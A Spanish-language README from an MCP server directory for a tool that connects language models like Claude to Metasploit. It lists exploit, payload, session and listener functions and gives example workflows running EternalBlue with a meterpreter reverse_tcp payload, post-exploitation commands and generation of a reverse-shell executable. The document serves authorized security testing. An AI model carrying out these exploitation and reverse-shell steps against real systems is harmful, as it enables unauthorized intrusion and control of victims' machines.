Skip to main content
Glama

Servidor MCP de Metasploit

Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descripción

Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.

Related MCP server: Vibehacker Metasploit MCP

Características

Información del módulo

  • list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles

  • list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura

Flujo de trabajo de explotación

  • run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero

  • run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas

  • run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes

Generación de carga útil

  • generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)

Gestión de sesiones

  • list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada

  • send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter

  • cease_session : Finalizar forzosamente una sesión activa

Gestión de controladores

  • list_listeners : muestra todos los controladores activos y trabajos en segundo plano

  • start_listener : Crea un nuevo multi/handler para recibir conexiones

  • stop_job : Finaliza cualquier trabajo o controlador en ejecución

Prerrequisitos

  • Metasploit Framework instalado y msfrpcd ejecutándose

  • Python 3.10 o superior

  • Paquetes de Python necesarios (consulte requirements.txt)

Instalación

  1. Clonar este repositorio

  2. Instalar dependencias:

    pip install -r requirements.txt
  3. Configurar variables de entorno (opcional):

    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Uso

Inicie el servicio RPC de Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opciones de transporte

El servidor admite dos métodos de transporte:

  • HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP

  • STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares

Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport :

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Opciones adicionales para el modo HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integración de escritorio de Claude

Para la integración de Claude Desktop, configure claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Otros clientes de MCP

Para otros clientes MCP que utilizan HTTP/SSE:

  1. Inicie el servidor en modo HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure su cliente MCP para conectarse a:

    • Punto final de SSE: http://your-server-ip:8085/sse

Consideraciones de seguridad

⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :

Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.

  • Siempre valide y revise todos los comandos antes de ejecutarlos

  • Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada

  • Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.

Flujos de trabajo de ejemplo

Explotación básica

  1. Lista de exploits disponibles: list_exploits("ms17_010")

  2. Seleccione y ejecute un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Lista de sesiones: list_active_sessions()

  4. Ejecutar comandos: send_session_command(1, "whoami")

Post-explotación

  1. Ejecutar un módulo de publicación: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Enviar comandos personalizados: send_session_command(1, "sysinfo")

  3. Terminar cuando haya terminado: terminate_session(1)

Gestión de controladores

  1. Iniciar un oyente: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Lista de controladores activos: list_listeners()

  3. Generar una carga útil: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Detener un controlador: stop_job(1)

Opciones de configuración

Directorio de guardado de carga útil

De forma predeterminada, las cargas útiles generadas con generate_payload se guardan en un directorio payloads en su carpeta de inicio ( ~/payloads o C:\Users\YourUsername\payloads ). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR .

Configuración de la variable de entorno:

  • Ventanas (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Símbolo del sistema) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • En la configuración de Claude Desktop :

    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.

Licencia

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server